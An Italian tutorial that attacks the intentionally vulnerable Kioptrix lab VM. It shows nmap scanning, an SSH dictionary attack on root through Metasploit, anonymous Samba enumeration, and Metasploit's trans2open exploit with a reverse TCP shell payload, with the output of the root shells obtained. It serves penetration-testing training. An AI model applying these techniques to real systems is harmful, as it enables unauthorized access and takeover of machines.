Fin’ora abbiamo discusso alcuni tra i tanti modi per individuare i sistemi, enumerare informazioni, scansionare la porte. Le attività di Footprinting devono essere effettuate prima di poter portare qualsiasi tipo di attacco al sistema target. Una volta in possesso di queste informazioni, si possono iniziare a fare delle ipotesi sulle potenziali vulnerabilità che potrebbero essere presenti. In questo articolo utilizzerò la macchina virtuale Kioptrix per spiegare le principali metodologie di Accesso remoto (ossia accedere ad un sistema tramite la rete).
Il libro _Hacker 7.0 _(Apogeo 2013) riporta quattro metodi principali per compromettere la sicurezza di un sistema UNIX:
La domande da porsi sono quindi:
Avviso: per questa tipologia di esercizio consiglio di leggere prima gli articoli sul Footprinting e sullo Scanning. Inserirò comunque link agli articoli con cui potrete approfondire
Kioptrix è una macchina virtuale, potete scaricarlo da qui. Io utilizzerò VirtuaBox, ma siete ovviamente liberi di usare il software che più vi aggrada. Dopo aver scaricato il file e averlo scompattato, create una nuova macchina virtuale con queste caratteristiche:
Prima di eseguirla controllate che la rete sia connessa tramite Bridged Adapter, altrimenti non verrà trovata sulla vostra rete (e di conseguenza non potrete scansionarla)
Dopo aver trovato l’indirizzo IP della macchina virtuale con nmap
nmap -sn 192.168.1.1/24
effettuo una scansione di tutte le porte attive
root@kali:~$ sudo nmap -sTUV 192.168.1.109
Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-03 11:34 CEST
Nmap scan report for 192.168.1.109
Host is up (0.0044s latency).
Not shown: 1990 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
32768/tcp open status 1 (RPC #100024)
111/udp open rpcbind 2 (RPC #100000)
137/udp open netbios-ns Microsoft Windows XP netbios-ssn
138/udp open|filtered netbios-dgm
32768/udp open status 1 (RPC #100024)
MAC Address: 08:00:27:90:E1:2C (Oracle VirtualBox virtual NIC)
Service Info: Host: KIOPTRIX; OS: Windows XP; CPE: cpe:/o:microsoft:windows_xp
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1190.95 seconds
Ora conosco i servizi attivi dell’host, e so che:
Le vie possibili da seguire in questo momento sono molteplici, e dipende dal grado di preparazione di ognuno. I passi che eseguirò sono solo alcuni tra i tanti per scovare vulnerabilità ed entrare nel dispositivo target.
Il protocollo SSH già di per sè permette di stabilire una sessione remota (cifrata) tramite interfaccia a riga di comando. Senza tanti preamboli, provo a connettermi
ssh 192.168.1.168
root@192.168.1.109's password:
Un’informazione è stata ottenuta, il nome dell’account è root, ma la password è sconosciuta. Apro metasploit e cerco ssh
Il modulo che mi viene incontro è auxiliary/scanner/ssh/ssh_login, il quale ti permette di testare un lista di password in modo automatico verso l’host (attacco a dizionario). Dopo averlo selezionato, impostato il file delle password, lo avvio
Ed ecco che mi ha trovato la password. Provo con il terminale a connettermi
root@kali:~# ssh 192.168.1.109
root@192.168.1.109's password:
Last login: Thu May 5 17:41:42 2016 from 192.168.1.107
unknown terminal "xterm-256color"
unknown terminal "xterm-256color"
[root@kioptrix root]# whoami
root
Sono dentro al sistema, e con le credenziali di root. Questo è un esempio, la password è stata modificata appositamente per rendere agevole la scansione.
Netbios è sistema utilizzato per le comunicazioni via rete locale. È vivamente consigliato disattivarlo o configurarlo opportunamente, altrimenti è possibile che sia vulnerabile (ne ho parlato anche qui). Come prima, faccio una scansione dell’host (solo di netbios)
root@kali:~# nmblookup -A 192.168.1.109
Looking up status of 192.168.1.109
KIOPTRIX - B
KIOPTRIX - B
KIOPTRIX - B
..__MSBROWSE__. - B
MYGROUP - B
MYGROUP - B
MYGROUP - B
MAC Address = 00-00-00-00-00-00
Scopro che è attivo il gruppo KIOPTRIX e MSBROWSE. Provo a connettermi a KIOPTRIX
root@kali:~# smbclient -L \\KIOPTRIX -I 192.168.1.109
Enter root's password:
Server does not support EXTENDED_SECURITY but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (Samba Server)
ADMIN$ IPC ISSHPC Service (Samba Server)
Server does not support EXTENDED_SECURITY but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
Server Comment
--------- -------
KIOPTRIX Samba Server
Workgroup Master
--------- -------
MYGROUP KIOPTRIX
Adesso le informazioni ricavate sono che il login anonimo è permesso e che esistono due account :
Probabilmente il secondo è root, sparando nel mucchio provo a connettermi
root@kali:~# smbclient \\\\KIOPTRIX\\IPC$
WARNING: The "syslog" option is deprecated
Enter root's password:
Server does not support EXTENDED_SECURITY but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
smb: \> ls
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
smb: \> cd ~
cd \~\: NT_STATUS_NETWORK_ACCESS_DENIED
smb: \>
Ma dopo essere entrato non riesco a fare nulla, quindi cambio metodo.
Utilizzando searchsploit (un pacchetto che include tutte le vulnerabilità trovate nel corso degli anni) cerco il servizio
I software e gli script sono nella cartella definita in alto a destra. Per evitare di essere Script Kiddie consiglio di leggere la sorgente, prima di compilarli ed eseguirli. Alcuni sono parecchio datati e può essere che necessitino di aggiornamenti (aggiornare librerie, modificare alcune righe, etc). Io ho scelto il secondo. Lo compilo e vedo che tipo di comandi ha bisogno
Dopo aver scelto le opzioni che mi servono, faccio partire lo script
Ed eccomi nuovamente all’interno del dispositivo, con le credenziali di root.
In questo esempio sfrutterò sempre Samba, ma invece che utilizzare uno script, effettuerò un’exploit direttamente da metasploit. Come prima, cerco samba nel database del software e scelgo “exploit/linux/samba/trans2open”. Le opzioni da inserire sono solo l’obbiettivo e la porta (139). Per poter entrare nel sistema ho bisogno di selezionare un Payload e utilizzo “linux/x86/shell_reverse_tcp”. Per poter vedere i payload disponibili basta digitare
show payloads
dopo aver impostato (use) l’exploit che fa al caso nostro. Prima di far partire l’exploit, consiglio di digitare
show advanced
In questo modo potrete vedere tutti i comandi e le opzioni disponibili per il modulo selezionato (nel mio caso ho dovuto inserire la porta (set LPORT 2222) e l’host da cui parte l’attacco(set LHOST 192.168.1.107, il mio IP locale)). L’operazione, alla fine, è quindi stata
msf exploit(trans2open) > run
[*] Started reverse TCP handler on 192.168.1.107:4444
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Command shell session 1 opened (192.168.1.107:4444 -> 192.168.1.109:32769) at 2016-05-05 18:46:43 +0200
whoami
root
mail
Mail version 8.1 6/6/93. Type ? for help.
"/var/mail/root": 5 messages 4 new 5 unread
U 1 root@kioptix.level1 Sat Sep 26 11:42 15/481 "About Level 2"
>N 2 root@kioptrix.level1 Tue May 3 09:28 18/522 "LogWatch for kioptrix"
N 3 root@kioptrix.level1 Wed May 4 08:15 65/1882 "LogWatch for kioptrix"
N 4 root@kioptrix.level1 Wed May 4 08:15 34/1159 "Anacron job 'cron.dai"
N 5 root@kioptrix.level1 Thu May 5 07:40 165/7266 "Anacron job 'cron.dai"
1
Message 1:
From root Sat Sep 26 11:42:10 2009
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptix.level1>
To: root@kioptix.level1
Subject: About Level 2
If you are reading this, you got root. Congratulations.
Level 2 won't be as easy..
Digitando mail ho visualizzato le mail da leggere, e c’era una mail per root che vedete qui sopra in grassetto.
Come potete vedere, effettuare un’exploit è tutt’altro che facile, neanche in una macchina vulnerabile costruita appositamente. Nell’articolo ho sfruttato solo due vulnterabilità ed effettuato un’attacco a forza bruta, ma sicuramente sono presenti altri servizi vulnerabili. Spero di esser stato il più chiaro possibile e aver linkato tutte le fonti e guide che possono servire per questa esercitazione.